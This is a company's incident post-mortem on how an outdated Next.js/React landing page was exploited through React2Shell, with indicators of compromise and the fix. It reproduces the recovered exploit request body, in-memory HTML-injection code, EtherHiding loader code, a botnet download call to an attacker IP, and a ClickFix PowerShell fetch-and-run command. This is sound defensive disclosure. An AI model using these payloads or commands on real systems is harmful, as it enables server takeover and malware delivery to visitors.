How an Outdated Next.js and React Got the Sensii Landing Page Hacked
The Sensii landing page is the marketing site that describes Sensii and links to the download. In early October 2026 we found it had been compromised. The Sensii app, its backend and your account data run separately and were not affected.
This post covers why it happened, how the attack worked, what it did, what visitors saw, and how we fixed it. It also names the attacker's domains, IP and infrastructure so others can block them.
1. The landing page was running old versions of Next.js and React
The landing page is built with Next.js, the Node.js framework, and React. It was pinned to:
"next": "16.0.0",
"react": "19.2.0",
"react-dom": "19.2.0"
These versions shipped in October 2025. On 3 December 2025, the React and Next.js teams disclosed CVE-2025-55182 (tracked by Next.js as CVE-2025-66478), nicknamed "React2Shell". It's rated CVSS 10.0, the maximum. It was patched the same day in Next.js 16.0.7 and React 19.2.1, with follow-up fixes in Next.js 16.0.10 and React 19.2.3 on 11 December.
We never upgraded. The landing page kept running the vulnerable versions for months after the fix was public.
2. It got hacked
React2Shell is easy to exploit and has been scanned for across the entire internet since December 2025. Our landing page was found and exploited by several automated attack tools. We saw requests from at least three different exploit kits, identifiable by their multipart boundaries:
----DeepVaultPOCBoundary7f3a9c2e----ChromeBoundary17----WebKitFormBoundary7MA4YWxkTrZu0gW
After one redeploy, the landing page was exploited again in under an hour.
3. How it was hacked
React Server Components use a protocol called "Flight" to send data between browser and server. In the vulnerable versions, the server deserializes a Flight request body without enough checks. A crafted body can walk JavaScript's prototype chain during deserialization and reach the Function constructor, which turns a string into runnable code.
This is the exploit body we recovered from the server's memory:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<attacker's JavaScript>",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
"$1:constructor:constructor" resolves to Function, and whatever is in _prefix runs inside the Node.js server process. No login, password or key is needed: one HTTP POST to any page is enough. The attacker reads the result back from the digest field of the error Next.js returns.
4. What the hack did
The attackers ran two separate payloads.
4a. Injected a malicious script into every page, in memory only
The first payload rewired Node.js's built-in http module inside the running server, so every HTML page it sent out carried one extra line before </head>:
<script src=https://www.googletagmanager.com/gtm.js?id=GTM-PJB7D937></script>
That's a Google Tag Manager container owned by the attacker. Here's the injection code, recovered from memory and reformatted:
var h = process.mainModule.require('http');
var r = h.ServerResponse.prototype;
// base64 of: <script src=https://www.googletagmanager.com/gtm.js?id=GTM-PJB7D937></script>
r._p = Buffer.from('PHNjcmlwdCBzcmM9aHR0cHM6Ly93d3cuZ29vZ2xldGFnbWFuYWdlci5jb20vZ3RtLmpzP2lkPUdUTS1QSkI3RDkzNz48L3NjcmlwdD4=', 'base64').toString();
// For browser page loads, drop compression so the HTML can be rewritten
h.Server.prototype.emit = function (ev, rq) {
if (ev === 'request' && (rq.headers.accept || '').startsWith('text/html'))
delete rq.headers['accept-encoding'];
return originalEmit.apply(this, arguments);
};
// Fix up Content-Length, then insert the tag before </head> in write() and end()
r.writeHead = function () { /* content-length += tag length */ };
r.write = r.end = function (chunk) { /* chunk.replace(/(<\/head>)/i, r._p + '$1') */ };
// Report success to the attacker
throw Object.assign(new Error('x'), { digest: Buffer.from('ok:patched').toString('base64') });
The design kept it hidden:
- Nothing on disk. Our code, the build and the Docker image were all clean. Only the running process was changed.
- Browsers only. The tag was added only when the request's
Acceptheader started withtext/html. Tools likecurland uptime monitors got the clean page. - One trace in the logs:
digest: 'b2s6cGF0Y2hlZA==', which is base64 forok:patched.
4b. Hid the next stage's address on the Polygon blockchain
The Tag Manager script doesn't contain the malware's address. It reads the address from a smart contract on the Polygon blockchain, a technique called EtherHiding:
var contract = "0xfF9E792a3015A79340CDEc1847Ab0AA10560422a";
var selector = "6d4ce63c"; // get()
var key = "52147c4027c0d0d1e02cce15a97c62f7";
var rpcs = [ "https://polygon-public.nodies.app", "https://1rpc.io/matic",
"https://polygon.gateway.tenderly.co", "https://polygon-mainnet.public.blastapi.io",
"https://polygon.drpc.org", "https://rpc.ankr.com/polygon",
"https://polygon-bor-rpc.publicnode.com", "https://rpc-mainnet.matic.quiknode.pro" ];
The contract returns an encrypted string (S1fBMd/bNO31SGhjdCZ9iLluQxeVCqVMenRRW1). It decrypts, using the contract address, selector and key above, to:
https://interseq.at
This lets the attacker switch domains with one blockchain transaction, and nobody can take the record down. It only reads public blockchain data. It does not touch any wallet in the visitor's browser.
4c. Chose who to target
document.body.addEventListener("click", function () {
if (c2
&& !/sel|ru|bru|ua|udf/.test(navigator.languages.join()) // skip Russian/Ukrainian/CIS locales
&& !localStorage.getItem("0x3464dec6de")) { // only once per browser
localStorage.setItem("0x3464dec6de", "true");
load(c2 + "/Hastl/api?_v=" + Math.floor(Date.now() / 60000));
}
});
It waited for the visitor's first click, skipped Russian, Ukrainian and related browser languages, and ran once per browser. That's why only some new visitors ever saw anything.
4d. Turned the server into a bot that attacks other sites
A second attacker used the same bug to download and run a Linux botnet client:
http.get('http://45.63.55.99:10001/download?os=alpine&arch=amd64', ...)
// saved as /tmp/safenet-client, then started in the background with
// SAFENET_HOST=<victim> and SAFENET_AUTH=<bot token>
| Name | SafeNetv2 (safenet-client) |
| Command server | http://45.63.55.99:10001 (/download, /register) |
| Files | /tmp/safenet-client, /tmp/.safenet-client.pid, /tmp/safenet-spool.jsonl |
| SHA-256 | 45c062268021a899056177d8d974b2551907e305aba0308b7d4024cdc1b0ea42 |
| Build | Go, static ELF x86-64, built from C:/Users/Joshua/Documents/safenet/src/SafeNetv2/client/ |
Its modules scan for and attack other websites: unpatched Next.js sites (that's how it spreads), WordPress, Joomla, Spring/Tomcat, JFrog Artifactory and Dify. While it ran, our landing server had about 30 open connections to unrelated sites at once.
5. What visitors saw
On their first click, a visitor saw a full-screen "verify you are human" check, loaded from https://interseq.at/Hastl/api. It told them to:
- Press Windows + R
- Press Ctrl + V
- Press Enter
The page had already copied this to the clipboard:
iex(irm 'https://cleanavcheskre.com/h/e3ef035961b76bc1' -UserAgent 'WUA/751e7238ec' -Headers @{'X-WUA'='751e7238ec'})
irm downloads a script from cleanavcheskre.com and iex runs it immediately. Because the user runs the command, browser download protection and Windows SmartScreen never get a chance to warn. After a countdown the fake check disappeared and the normal page came back.
This scam is called ClickFix. The download link in the command is single-use and had expired by the time we checked it, so we couldn't get the final file. Campaigns built this way usually install password and crypto-wallet stealers.
If you only saw the box and didn't run the command, nothing happened to your PC. If you did run it:
- Scan your PC with Microsoft Defender Offline, or reinstall Windows.
- From another device, change your passwords and sign out of all sessions.
- Move any crypto to a new wallet.
- Email daniel@sorenaai.com if you need help.
6. How we fixed it
We updated the landing page to the latest releases:
"next": "16.3.8",
"react": "19.3.0",
"react-dom": "19.3.0"
These are well past the patched versions, so the React2Shell bug no longer exists on the landing page. We then rebuilt and redeployed it from scratch, which removed the in-memory injection and the botnet client. We also confirmed the attacker's Tag Manager script is no longer served.
If you run a Next.js App Router site, check your version now:
npm ls next react react-dom
Anything below Next.js 16.0.10 / React 19.2.3 (or the patched release for your 15.x line) is exploitable today.
Indicators of compromise
| Indicator | Type |
|---|---|
GTM-PJB7D937 (www.googletagmanager.com/gtm.js?id=GTM-PJB7D937) | Injected Google Tag Manager container |
0xfF9E792a3015A79340CDEc1847Ab0AA10560422a | Polygon contract holding the C2 address |
interseq.at | Fake CAPTCHA host (/Hastl/api) |
cleanavcheskre.com | PowerShell payload host (/h/<token>, WUA/… user agent, X-WUA header) |
45.63.55.99:10001 | SafeNetv2 botnet command server |
45c062268021a899056177d8d974b2551907e305aba0308b7d4024cdc1b0ea42 | SHA-256 of safenet-client |
/tmp/safenet-client, /tmp/.safenet-client.pid | Botnet files on the server |
digest: 'b2s6cGF0Y2hlZA==' / 'b2s6dXBkYXRlZA==' | Next.js log line: injection installed / re-installed |
localStorage["0x3464dec6de"] | Browser marker set on visitors who were targeted |